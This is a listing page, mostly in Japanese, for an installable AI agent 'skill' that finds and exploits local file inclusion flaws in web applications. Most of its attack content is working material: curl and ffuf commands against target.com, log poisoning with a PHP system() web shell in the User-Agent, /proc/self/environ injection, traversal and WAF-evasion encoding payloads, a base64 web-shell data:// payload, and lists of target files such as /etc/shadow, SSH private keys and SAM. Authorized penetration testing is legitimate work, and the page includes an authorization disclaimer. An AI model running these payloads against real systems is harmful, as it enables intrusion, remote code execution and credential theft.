exploit-lfi について
許可されたセキュリティテストで、ローカルファイルインクルージョン(LFI)を検出・検証するスキルです。OSの判別、パストラバーサルやPHPラッパーのテスト、ソース漏えいやログポイズニングなどの手法を扱います。
主な機能
- 01疑わしいパラメーターとインクルード形式の特定
- 02パストラバーサルとPHPラッパーのテスト
- 03ファイル内容から対象OSを推定
- 04ソース漏えいやログポイズニングの検証
- 05curlとffufによるテスト例
活用シーン
- 01WebパラメーターのLFI有無を確認
- 02設定ファイルやPHPソースを分析用に取得
- 03許可されたテストでログポイズニングなどを評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ crazymarky/ pentest-skills --skill exploit-lfiインストール後、Claude Code で/exploit-lfiを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
assets/encoding_bypass_payloads.txtsensitive_files_linux.txtsensitive_files_windows.txttraversal_payloads.txtwrapper_payloads.txtreferences/bypass_techniques.mdlfi_techniques.mdphp_wrappers.mdrce_methods.mdscripts/lfi_bypass_tester.pylfi_detector.pylfi_exploiter.pylfi_storage.py詳細
ローカルファイルインクルージョン(LFI)の検出と悪用
概要
このスキルは、**ローカルファイルインクルージョン(LFI)**型の脆弱性の検出と悪用に特化しています。
LFI 脆弱性は、アプリケーションがユーザー入力をファイルパスとして直接使用したり、適切に検証せずにファイルをインクルードしたりする場合に発生します。攻撃者はパストラバーサルやラッパープロトコルを利用して、機密ファイルの読み取りや任意コードの実行が可能です。
exploit-file-download との違い:
- LFI:パラメーター値が include() に渡されるか、ファイル内容として保存されます。影響=コード実行(RCE)
- ファイルダウンロード:パラメーター値を使用してファイルをローカルにダウンロードします。影響=情報漏えい
主な機能
1. LFI 脆弱性の検出
以下の LFI の特徴を自動的に識別します:
- パラメーターパターンの識別:
file、page、include、dir、document、path、content、titleなど - ファイルインクルードパターン:パラメーター値が
include()またはrequire()のファイルパスとして直接使用されている - ディレクトリトラバーサルパターン:ディレクトリをたどるために使用される
../シーケンス - ラッパープロトコルの悪用:
php://filter、php://input、data:、expect://など - レスポンスの特徴分析:Linux/Windows のファイル内容の特徴を識別
2. OS の自動検出
テスト時に対象の OS を自動的に識別します:
| OS | 特徴的なファイル | テストパス |
|---|---|---|
| Linux | /etc/passwd の内容:root:x:0:0: | /etc/passwd, /etc/shadow |
| Windows | C:\Windows\win.ini の内容:[fonts], [extensions] | C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts |
3. 代表的な LFI ペイロード
| 種類 | ペイロード | 使用場面 |
|---|---|---|
| パストラバーサル | ?title=../../../etc/passwd | 基本的なディレクトリトラバーサル |
| ラッパープロトコルによる読み取り | ?file=php://filter/convert.base64-encode/resource=/etc/passwd | 機密ファイルのソースを読み取る |
| データインジェクション | ?file=data://text/plain;base64,PD9waHAgc3l... | コードインジェクション |
| コマンド実行 | ?file=expect://ls | RCE(expect 拡張が必要) |
4. LFI の悪用シナリオ
- ソースコードの読み取り:
php://filterを使用して PHP ソースコードを読み取り、分析する - 設定情報の取得:データベース設定ファイルを読み取り、認証情報を取得する
- ログポイズニング:LFI 経由でログに書き込み、RCE を実現する
- 一時ファイル:ファイルアップロードと組み合わせてシェルを取得する
- /proc/self/environ:環境変数へのインジェクションによって RCE を実現する
ツールのインストール
必須ツール
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl
# Ubuntu/Debian
apt-get install curl
# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest
使用方法
クイックスタート
# 基础 LFI 测试 - 路径遍历
curl -s "https://target.com/page.php?file=../../../etc/passwd"
# 测试伪协议
curl -s "https://target.com/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"
# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200
代表的なテストシナリオ
1. 基本的なパストラバーサル
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
-w <(seq 1 10 | sed 's/^/\.\.\//') \
-mc 200 \
-mr "root:x:0:0"
2. ラッパープロトコルの悪用
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d
# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d
# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"
3. ログポイズニングによる RCE
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"
# 步骤 2: 等待日志写入后包含日志文件
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"
# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"
4. /proc/self/environ の悪用
# 步骤 1: 在 User-Agent 注入代码
curl -A "<?php system(\$_GET['c']); ?>" "https://target.com/page.php"
# 步骤 2: 包含环境变量文件
curl "https://target.com/page.php?file=/proc/self/environ&c=id"
# 查看当前进程环境
curl "https://target.com/page.php?file=/proc/self/cmdline"
5. 一時ファイルの競合
# 上传包含 PHP 代码的图片
curl -F "[email protected]" "https://target.com/upload.php"
# 快速枚举临时文件
for i in {1..100}; do
curl "https://target.com/vul.php?file=/tmp/php$i";
done
ツール選択ガイド
| シナリオ | 推奨ツール | コマンド例 |
|---|---|---|
| 手早い単一テスト | curl | curl "URL?file=../etc/passwd" |
| ペイロードの一括テスト | ffuf | ffuf -u URL -w payloads.txt |
| 詳細なテスト | カスタムスクリプト | 以下の詳細テスト用スクリプトを参照 |
| レスポンス分析 | grep/diff | grep -i "root:x:0" response.txt |
詳細テスト用スクリプト
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度
URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}
for i in $(seq 1 $MAX_DEPTH); do
payload=$(printf '../%.0s' $(seq 1 $i))
response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")
if echo "$response" | grep -q "root:x:0:0"; then
echo "[+] 成功!深度:$i"
echo "$response"
break
fi
echo "[-] 深度 $i: 未匹配"
done
テストチェックリスト
偵察段階
- LFI の可能性があるすべてのパラメーター(file、page、title、include など)を特定する
- 基本的なパストラバーサル(../)をテストする
- 対象の OS(Linux/Windows)を確認する
- ラッパープロトコルが使用可能かテストする(php://filter)
悪用段階
- システムの機密ファイル(/etc/passwd, /etc/shadow)を読み取る
- Web アプリケーションの設定ファイル(.env, config.php)を読み取る
- PHP ソースコードを読み取り、アプリケーションのロジックを分析する
- ログポイズニングを試して RCE を取得する
- /proc/self/environ の悪用を試す
- 一時ファイルの競合による悪用を試す
回避テスト
- URL エンコードによる回避(%2e%2e%2f)
- 二重 URL エンコード(%252e%252e%252f)
- Unicode による難読化(%c0%ae%c0%ae%c0%af)
- パスのバリエーション(.., ..//, ..././)
- NULL バイトによる切り詰め(%00)
- 拡張子による回避(file.php.jpg, file.php.)
機密ファイルのパス
Linux
# 系统用户
/etc/passwd
/etc/shadow
/etc/group
/etc/gshadow
/etc/sudoers
# Web 配置
/var/www/html/wp-config.php
/var/www/html/.env
/var/www/html/config/database.yml
/var/www/html/application/config/parameters.yml
# SSH 密钥
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
/root/.ssh/authorized_keys
# 日志
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog
Windows
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\config\SAM
# Web 配置
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\.env
C:\xampp\htdocs\config.php
# IIS 日志
C:\inetpub\logs\LogFiles\
LFI ペイロード一覧
基本ペイロード
../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/
エンコード済みペイロード
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c
PHP ラッパープロトコル
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php
代替手段
主なツールが使用できない場合は、以下の代替手段を使用できます:
| 主なツール | 代替手段 | 説明 |
|---|---|---|
| curl | wget | wget -qO- "URL" はcurl -s "URL" と同等です |
| ffuf | gobuster | gobuster dir -u URL -w payloads.txt |
| ffuf | dirsearch | dirsearch -u URL -e php |
参考資料
- 技術ドキュメント:
references/lfi_techniques.md- LFI の技術全般の詳細解説 - PHP ラッパープロトコル:
references/php_wrappers.md- PHP wrapper のリファレンス - 回避技術:
references/bypass_techniques.md- エンコードおよびフィルターの回避 - RCE 手法:
references/rce_methods.md- リモートコード実行の手法一覧
results-storage との統合
LFI 脆弱性が見つかった場合は、データベースに保存できます:
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/download?file=../../etc/passwd" \
--payload "../../etc/passwd" \
--file-read "root:x:0:0:root:/root:/bin/bash" \
--severity Critical \
--subsystem "Web Application"
データベースの場所:./data/results.db
関連スキル:results-storage - データの検索、レポートの生成
ベストプラクティス
- ペイロードは必ずエンコードする - URL エンコードを使用して WAF によるブロックを回避します
- 浅い階層から深い階層へテストする - 最初に 1~2 階層のトラバーサルをテストし、その後段階的に深くします
- レスポンスの長さを記録する - 成功時のレスポンスは通常、長さに異常があります
- base64 を使用する - ソースコードの読み取り時に base64 を使用してコードの実行を避けます
- 403/404 を見落とさない - WAF によっては、偽のエラーコードを返す場合があります
承認に関する声明
このスキルは、承認を得たセキュリティテストにのみ使用してください。使用前に以下を確認してください:
- 対象システムの所有者から明確な書面による承認を得ている
- テスト範囲と承認内容が明確に定義されている
- 現地の法令を遵守している
承認を得ずに行う侵入テストは違法行為です。
最終更新:2026-03-05 バージョン:2.0
コメント
Markdown 対応